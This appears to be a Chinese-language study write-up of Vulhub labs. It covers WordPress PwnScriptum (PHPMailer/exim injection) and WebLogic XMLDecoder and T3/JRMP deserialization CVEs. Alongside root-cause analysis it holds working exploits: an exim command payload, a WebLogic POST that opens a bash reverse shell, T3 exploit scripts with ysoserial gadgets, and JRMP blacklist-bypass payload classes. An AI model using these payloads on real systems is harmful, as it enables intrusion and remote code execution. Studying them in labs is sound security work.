Vulhub刷题

wordpress-pwnscriptum

漏洞原理

wordpress部分

wordpress在发送邮件的时候,调用的是如下代码

1
2
3
4
5
//wordpress-4.6 wp-includes pluggable.php 350

$from_name = apply_filters( 'wp_mail_from_name', $from_name );

$phpmailer->setFrom( $from_email, $from_name );

这里的$from_email是可控的,实质就是http中传入的Host字段经过一些过滤得到的,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//wordpress-4.6 wp-includes pluggable.php 324
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}

$from_email = 'wordpress@' . $sitename;
}

/**
* Filters the email address to send from.
*
* @since 2.2.0
*
* @param string $from_email Email address to send from.
*/
$from_email = apply_filters( 'wp_mail_from', $from_email );

这个$_SERVER['SERVER_NAME']就是传入的Host字段。

phpmailer部分

之前讲到的$phpmailer->setFrom( $from_email, $from_name );,调用的就是phpmailer组件的相关代码,该函数如下

1
2
3
4
5
6
7
8
9
10
11
12
//phpmailer-5.2.10 class.phpmailer.php
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
//......中间是一些校验`$address`的,以及无关代码,本人水平太低,不太会绕过,直接略过,具体可看p神的
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}

然后当在wordpress中调用phpmailer.send()发送邮件时,对应代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}

这个$this->preSend()一般不会影响到后续,返回的总是True,从而调用到postSend

其漏洞对应本质是CVE-2016-10033,参考:PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass (legalhackers.com)

PHPMailer这个组件在使用的时候,由于参数没有进行好的过滤,导致最终的代码执行。

参考:phpmailer RCE漏洞分析 · LoRexxar’s Blog

mark没有完整

使用popen,然后sendmail实际在安装了exim4之后,是一个软连接,连接到exim4

image-20230206115600945

exim4可以进行命令执行

image-20230206115744705

通过一些正则绕过等,就可以得到最终的payload,需要知道一个用户名,在用邮件验证的时候进行。

创建/tmp/success

1
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)

对应脚本P神vulhub里的

1
2
3
4
5
6
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
host_data = generate_command('/bin/bash /tmp/rce')

最好是放在burpsuite进行,不然容易出错。

WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (exploitbox.io)

Weblogic

前置知识

XMLDecoder反序列化

参考如下:https://www.freebuf.com/articles/web/321222.html

XMLDecoder这个组件,可以将对象进行序列化生成特定格式文件xx.xml,然后通过反序列化该xx.xml可以得到对应的对象。

如上述链接提到的Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Person {
private String name;
private int age;

//必须要有一个无参构造方法,要不会在序列化的过程中报错
public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

其中的get/set方法在序列化时会调用到,反序列化时只会调用set方法,如果没有,相关的成员属性的值会丢失。

通过XMLDecode序列化生成如下格式文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="11.0.9" class="java.beans.XMLDecoder">
<object class="Person">
<void property="age">
<int>18</int>
</void>
<void property="name">
<string>test</string>
</void>
</object>
</java>

之后进行反序列化即可得到对应的Person对象,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;


public class test {
public static Object decode() {
File file = new File(test.class.getClassLoader().getResource("").getPath() + "config.xml");
XMLDecoder xmlDecoder = null;
try {
xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
//反序列化对象
Object o = xmlDecoder.readObject();
return o;
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
if (xmlDecoder != null) {
xmlDecoder.close();
}
}
}


public static void encode(Object o) {
XMLEncoder xmlEncoder = null;
try {
File file = new File(test.class.getClassLoader().getResource("").getPath() + "config.xml");
xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream(file)));
//序列化对象
xmlEncoder.writeObject(o);
xmlEncoder.flush();
} catch (FileNotFoundException e) {
e.printStackTrace();
} finally {
xmlEncoder.close();
}
}


public static void main(String[] args) throws FileNotFoundException {
Person person = new Person("test", 18);
encode(person);
Person result = (Person) decode();
System.out.println(result);
//decode();
}
}

在反序列化的过程中,依据xml中文件内容,依据指定类进行反序列化,并且对应属性赋值。那么就可以找一个可以进行RCE的类,反序列化过程中就可以进行RCE了,相关POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
<!--反序列化ProcessBuilder-->
<object class="java.lang.ProcessBuilder">
<!--传入参数-->
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<!--调用方法为start-->
<void method="start" />
</object>
</java>

这里JAVA版本写啥版本都没什么影响,这个xml进行反序列化之后相当于执行代码

1
2
ProcessBuilder proc = new ProcessBuilder("calc");
proc.start();

导致任意代码执行,具体的XMLDecode里面怎么反序列化的,怎么调用的,函数调用链是什么样子的,还是看如下参考链接吧

https://www.freebuf.com/articles/web/321222.html

https://www.freebuf.com/articles/network/247331.html

T3反序列化

参考:

WeblogicT3反序列化浅析之cve-2015-4852 - 先知社区 (aliyun.com)

Weblogic学习(一): 初识T3反序列化 (yuque.com)

其实主要就是Weblogic对于T3协议的处理,T3协议对于Weblogica而言,也就相当于JRMP协议对于原生的Java程序,都是用来RMI即远程方法调用的。

RMI/JRMP

关于RMI以及JRMP,感觉下面几篇文章挺好的

基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)

搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)

P神的三篇RMI机制分析

就个人理解而言,画个图好解释一下

image-20230208124253918

代码参照的是:基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)

  • Server相关类实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
    }


    //重写了sayHello
    public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

    protected HelloServiceImpl() throws RemoteException {
    }

    @Override
    public String sayHello() {
    System.out.println("hello!");
    return "hello!";
    }
    }
  • Client相关类实现如下

    1
    2
    3
    4
    5
    public interface HelloService extends Remote {

    String sayHello() throws RemoteException;
    }
    //并没有实现sayHello

总结来说,就是ServerClient共用一个接口,Client调用Server重写的接口。

首先Server重写该接口生成对象,将重写之后的对象进行动态代理序列化后上传到注册中心作为存根stub。然后Client就可以从注册中心register下载Server重写该接口的动态代理对象存根stub,将之反序列化后进行动态代理即可调用到Server重写的接口函数了。

这里提到stub对象不是对应的HelloServiceImpl对象,而是JAVA动态代理对象,里面存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,也就是对于sayHello重写的代码并没有保存在这个stub对象中,还是保存在服务器上,调用的时候还是远程调用。

还有更加详细的关于动态代理对象的解释可以看看奇安信A-team的师傅写的WebLogic安全研究报告 (qq.com),感觉写的很好,如下图

image-20230208124814148

需要注意的是,服务端Server和注册中心register其实是可以放在一台机器上的。

感觉这个过程更像是一个RSA过程,服务器生成私钥(stub)给客户,公开公钥(register以及Skeleton),借助这两方完成通信。

序列化漏洞

在这个过程中进行通信所用到的协议就是JRMP协议,其中进行数据传输的过程中,无论是客户端还是服务端,都会用到JAVA反序列化和序列化,盗用一下奇安信师傅的图,2333

image-20230208121353125

也就是基本都会存在漏洞,但是爆出来洞之后基本也会有相关的黑名单限制。可以参考:从ysoserial讲RMI/JRMP反序列化漏洞 - Escape-w - 博客园 (cnblogs.com)

T3协议

对于T3也是类似的,盗用一下奇安信师傅的图,2333

image-20230208114134211

漏洞原理

而对于使用T3协议,其数据包结构

image-20230208122112606

替换之后,当服务器接收到恶意的数据,对其中的一些序列化数据进行反序列化是,就会导致恶意对象被反序列化,从而引发反序列化漏洞。

攻击方式

相关的攻击方式就比如说在自己服务器生成一个注册中心,可控受害者的反序列化时就可以让其使用RMI机制。从自己服务器获取恶意的stub对象,然后在受害者再对该stub进行反序列化时即可完成攻击。

(因为可控受害者的反序列化的过程中可能会碰到黑名单限制,无法轻松完成CC链之类的攻击,所以借助原生RMI机制,详见CVE-2015-4852之后关于T3的漏洞。另外借助原生的RMI机制其实也可能会有黑名单限制,这个就需要自己绕过,或者找现成的payload来打了,参考:https://www.anquanke.com/post/id/228918)

CVE-2017-10271

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

环境搭建

参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

漏洞点在/wls-wsat/提供的页面上,当POST请求规范的XML数据访问该组件下对应的页面,会进入到weblogic/wsee/jaxws/workcontext/WorkContextServerTube类中的processRequest方法,进行数据包的处理。

相关分析流程可以参考:

https://www.anquanke.com/post/id/102768#h2-6

https://xz.aliyun.com/t/10172#toc-4

对应调用链条为

1
2
3
4
5
6
7
8
WorkContextServerTube.processRequest   		
WorkContextServerTube.readHeaderOld //这里进行数据提取分割
WorkContextTube.WorkContextXmlInputAdapter //这里创建XMLDecoder对象
WorkContextServerTube.receive
WorkContextMapImpl.receiveRequest
WorkContextLocalMap.receiveRequest
WorkContextEntryImpl.readEntry
WorkContextXmlInputAdapter.readUTF

最终在readUTF中进行反序列化,

image-20230206192739611

这里的xmlDecode里面保存的buf就是我们传入去掉头部留下的数据

image-20230206194257790

赋值过来,用python跑一下就知道

image-20230206194334454

这样即得到最终的命令执行。

POC

P神vulhub下复制来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.163.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
bash -i &gt;&amp; /dev/tcp/[IP]/[PORT] 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

漏洞修复

官方补丁,没看怎么进行修复,不过应该时添加黑名单

CVE-2018-2628

详见上面的T3反序列化,是T3协议的漏洞

漏洞探测

首先需要看Weblogic是否启用T3协议,以及版本号的判断

1
nmap -p 7001,7002 -T4 -A -v --script weblogic-t3-info 192.168.120.161

环境搭建

也是类似的,用vulhub的,参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

先从最开始的CVE-2015-4852进行分析,参考:Weblogic学习(一): 初识T3反序列化 (yuque.com)

使用如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from os import popen
import struct #负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
#payload的长度四字节无符号整数
payloadLen = binascii.a2b_hex(b"00000000")

#头部某些地方改掉也没关系,估计是只检测了一部分
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

#反序列化标志,这个不能改
desflag = binascii.a2b_hex(b"fe010000")

payload = payloadLen + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/o_success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

首先断点下在weblogic.rjvm.InboundMsgAbbrev#readObject。如下图所示,可以看到前面还有一堆的调用链条

image-20230208153909798

是相关的异步以及线程、复用器(muxer)的分发等知识,不是很懂这里,估计是一些监听检测之类的,可以看看如下的介绍

CVE-2018-2628 Weblogic反序列化漏洞分析 - 先知社区 (aliyun.com)

然后看看现在的weblogic.rjvm.InboundMsgAbbrev#readObject

image-20230208160844802

这个var1就是接收到的数据,看里面的headbuf属性,将其复制出来,用python打印一下看看

image-20230208160956140

可以看到这一大串,其实就是我们的exp中的原数据

image-20230208161130659

前面的000005f2就是总的数据包的长度,这些数据都是可控的,但是这个长度只能比实际payload短,不能长。

那么之后就是相关解析,进行反序列化了。

resolveClass

在上述的readObject之后还会进行一系列的函数调用,其中比较重要的点就是weblogic.rjvm.InboundMsgAbbrev#resolveClass

image-20230208163342951

传入的stream会调用父类ObjectInputStreamresolveClass来进行类名解析

image-20230208163240081

对于总的readObject流程中,weblogic.rjvm.InboundMsgAbbrev#resolveClass大致扮演的角色如下廖师傅的图片

t0158bffbfdfc75d52f

那么就可以在这里添加一个过滤条件,设置黑名单了,比如如下对于12.2.1.3版本的Weblogic就会有如下过滤,存在一个检查

image-20230208163826701

而从最开始的该CVE相关的T3反序列化爆出来之后,后续修复方案大多都是在调用父类resolveClass之前进行黑名单过滤,写的代码也是逐次迭代

参考:weblogic历史T3反序列化漏洞及补丁梳理

最开始针对CVE-2015-4852的修复是在resolveClass中引入了ClassFilter.isBlackListed进行过滤,盗用一下cL0und师傅的图,23333

640

后面缝缝补补,黑名单位置也更改在WebLogicFilterConfig.class

image-20230207203932893

所以在后续的漏洞中,由于黑名单的使用这里其实需要对resolveClass进行一个分析

CVE-2017-3248

对于该漏洞的相关的漏洞发展绕过,可以看weblogic历史T3反序列化漏洞及补丁梳理,比较和本次CVE-2018-2628漏洞相关的是CVE-2017-3248,首次出现使用JRMPClient进行外带RCE

对应的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
#payload的长度四字节无符号整数
payloadLen = binascii.a2b_hex(b"00000000")

#头部某些地方改掉也没关系,估计是只检测了一部分
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

#反序列化标志,这个不能改
desflag = binascii.a2b_hex(b"fe010000")

payload = payloadLen + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "JRMPClient"
command = "[JRMPListern_IP]:[JRMPListern_Port]"
payload = generatePayload(gadget, command)
T3Exploit(host, port, payload)

可以看到发送的序列化对象是通过ysoserial生成的,我们看看ysoserial里面具体生成了什么对象

image-20230208200426758

可以看到生成的是Registry对象,然后将之复制出来,放到IDEA里面自己测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package ysoserial.test.payloads;

import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

public class myTest {
public Registry getObject (){
String host = "JRMPLister_IP";
int port = JRMPLister_Port;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
myTest.class.getClassLoader(),
new Class[] {Registry.class},
obj);
return proxy;
}


public static void main ( final String[] args ) throws RemoteException, NotBoundException {
myTest test = new myTest();
Registry testObj = test.getObject();

System.out.println("test");
}
}

在开启了远程的JRMPLister_IP之后

1
java -cp ./ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'touch /tmp/zzzz'

执行上述JAVA代码,发现并没有命令执行,远程也没有发送数据的信息显示。那么就可能现在还没有和远程进行通信,那么加入如下可以远程通信的代码

1
2
3
4
myTest test = new myTest();
Registry testObj = test.getObject();
testObj.list(); //列出可以远程调用的相关对象
System.out.println("test");

发现成功命令执行。

但是这里有个疑问,在Weblogic中反序列化对象之后,我并没有找到有对对象调用了远程通信的方法,而在调试的时候发现,当从resloveClass中返回,即完成如下代码就会得到命令执行了,这里有点不太懂。为什么能够远程通信了,这些代码里面并没有找到和远程通信的方法调用呀。

image-20230208201323984

实际调用链

参考:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT

实际调试一下,看看是怎么从Registry调用到和远程通信的函数,将Weblogicjdk拿出来调试,上述的文章告诉我们最后是在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.StreamRemoteCall#executeCall中获取到远程对象进行反序列化的,如下图所示

image-20230209153555302

断点下在这里,看一看实际数据,这里的in就是连接的数据流

image-20230209155129824

断点之后再运行一下就断在如图所示地方,ysoserial会自动生成BadAttributeValueExpException这个类对象,然后将恶意的数据封装进去,所以实际的数据中,已经可以看到相关的CC链其实已经传过来并且反序列化了

image-20230209154129644

看看对应的调用栈

image-20230209155514492

有点多,前面大部分都是RMI机制相关的调用,不用太管,主要看实际的反序列化的点,即weblogic.rjvm.InboundMsgAbbrev#readObject处,那么相关的调用栈就如下

image-20230209155913075

这里可以看到有一堆的readObject,这其实涉及到ObjectInputStream反序列化的几种方式,参考:Weblogic CVE-2021-2394 反序列化漏洞分析-安全客 - 安全资讯平台 (anquanke.com),引用一下上述的一张图,其中红色和蓝色路径是互斥的。

img

那么前面就是针对接口Registry的以及RemoteObjectInvocationHandler的反序列化,而RemoteObjectInvocationHandler是继承自RemoteObjectRemoteObject又实现了Serializable接口,所以走的是下面蓝色的那条路径。

之后在RemoteObject.readObject上看一下,对里面的RemoteObjectInvocationHandler.ref,即RemoteRef进行了反序列化,通过判断refClassName,进入的是else路径,调用的是其readExternal函数,走的是上面红色的那条路,可以看到注释也说明了

image-20230209163242665

这个ref在之前的payload中看到的是

1
2
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

所以反序列化的是UnicastRef,其实现了RemoteRef接口,RemoteRef接口又实现了Externalizable接口,所以这里也能知道走的应该是红色路径。然后看看其反序列化函数,即readExternal

image-20230209163615120

调用其read函数,进行相关IP/Port的获取,然后进入到registerRefs函数,就是相关的DGC(Distributed Garbage Collection)分布式垃圾收集机制,可以参考,可以参考攻击JavaRMI概述 - FreeBuf网络安全行业门户

image-20230209163831012

不是很懂这个,就是进行一些相关注册之后,最后会在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.DGCImpl_Stub#dirty函数中调用到RemoteRef.invoke函数

image-20230209165245896

这里的ref就是那个UnicastRef了,然后就是这里的invoke函数了

image-20230209175828791

进入excuteCall函数,就是之前提到的,那么完整的分析就完成了,在excuteCall函数中通过如下代码

1
var14 = this.in.readObject();

完成远程对象的反序列化。

绕过CVE-2017-3248

CVE-2017-3248之后,CVE-2018-2628生成的原因,就在于绕过了黑名单中对于java.rmi.registry.Registry的过滤,该过滤是放在weblogic.rjvm.InboundMsgAbbrev#resolveProxyClass中的。

image-20230208164502309

而这个resolveProxyClass在前面那张廖师傅的图片也提到了,也是可以用来过滤的。

原漏洞作者绕过的方法是使用java.rmi.activation.Activator进行绕过,参考:CVE-2018-2628 简单复现与分析,但是实际上,在反序列化时,这个接口根本就没有什么用处,所以随便一个接口都可以绕过,参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)

比如上述cL0und师傅说的换成Map都可以的,如下代码所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//
package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Map;

@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> {

public Map getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Map proxy = (Map) Proxy.newProxyInstance(
JRMPClient.class.getClassLoader(),
new Class[] { Map.class },
obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
  • ysoserial添加payload

这里再记录一下在ysoserial中添加payload。其实git clone下来用IDEA打开,等待pom.xml加载库,然后在ysoserialsrc/main/java/ysoserial/payloads中新建对应类放入即可,比如这里就放入JRMPClient3就行。最后再用如命令mvn clean package -DskipTests打包一下就能用。

接口是什么没有关系,实际上最本质的是UnicastRef这个对象就能建立远程连接并且获取信息。比如如下的JRMPClient2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> {

public UnicastRef getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

在实际的调用栈如下,也能完成利用。

image-20230209182117569

此外由于CVE-2017-3248的补丁黑名单是添加到resolveProxyClass中,而对于resolveProxyClass而言,只要反序列化的对象没有proxy类的,那么resolveProxyClass就不会被调用到,那么其实只用UnicastRefpayload根本就不会碰到CVE-2017-3248的补丁黑名单过滤。

参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)

漏洞修复

CVE-2018-2628漏洞的修复最终添加的黑名单是sun.rmi.server.UnicastRef,放在weblogic.utils.io.oif.WebLogicFilterConfig中。

但是该漏洞的修复并没有用,因为在UnicastRef经过RemoteObjectInvocationHandler的封装后,其序列化和反序列化过程是在RemoteObjectInvocationHandler父类RemoteObjectreadObject/writeObject中完成的

image-20230209202440301

所以当在resovleClass中获取类名尝试拦截时,获取到RemoteObjectInvocationHandler之后,下一个是获取不到UnicastRef的,因为UnicastRef已经在RemoteObjectInvocationHandler反序列化过程中完成了反序列化,所以该漏洞的补丁和没加一样的。

参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)

疑问

在调试进行序列化和反序列化的时候,我尝试在本地进行,如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ysoserial.test.payloads;

import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

public class myTest {
public Registry getObject (){
String host = "123.249.17.65";
int port = 9999;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
myTest.class.getClassLoader(),
new Class[] {Registry.class},
obj);
return proxy;
//return ref;
}


public static void main ( final String[] args ) throws IOException, NotBoundException, ClassNotFoundException {
myTest test = new myTest();
Registry testObj = test.getObject();
FileOutputStream fout = new FileOutputStream("fileStream.txt");

//ObjectOutputStream 将 Java 对象的基本数据类型和图形写入 OutputStream。可以使用 ObjectInputStream 读取(重构)对象。
ObjectOutputStream out = new ObjectOutputStream(fout);

//writeObject 方法负责写入特定类的对象状态,以便相应的 readObject 方法可以恢复它。
out.writeObject(testObj);

//FileInputStream 类从文件系统中的一个文件中获取输入字节。
FileInputStream fin = new FileInputStream("fileStream.txt");

//创建从指定 InputStream 读取的 ObjectInputStream。从流读取序列化头部并予以验证。
ObjectInputStream in = new ObjectInputStream(fin);
Registry unSerObj = (Registry) in.readObject();

System.out.println(testObj);
}
}

在开启了JRMPListerner之后,反序列化的过程中并没有命令执行,经过调试,最终也会走入到executeCall方法,但是总是没办法接收到远程的数据,而远程显示已经发送的数据,但是就是接收不到,不知道为什么。实际的调用栈其实也差不多

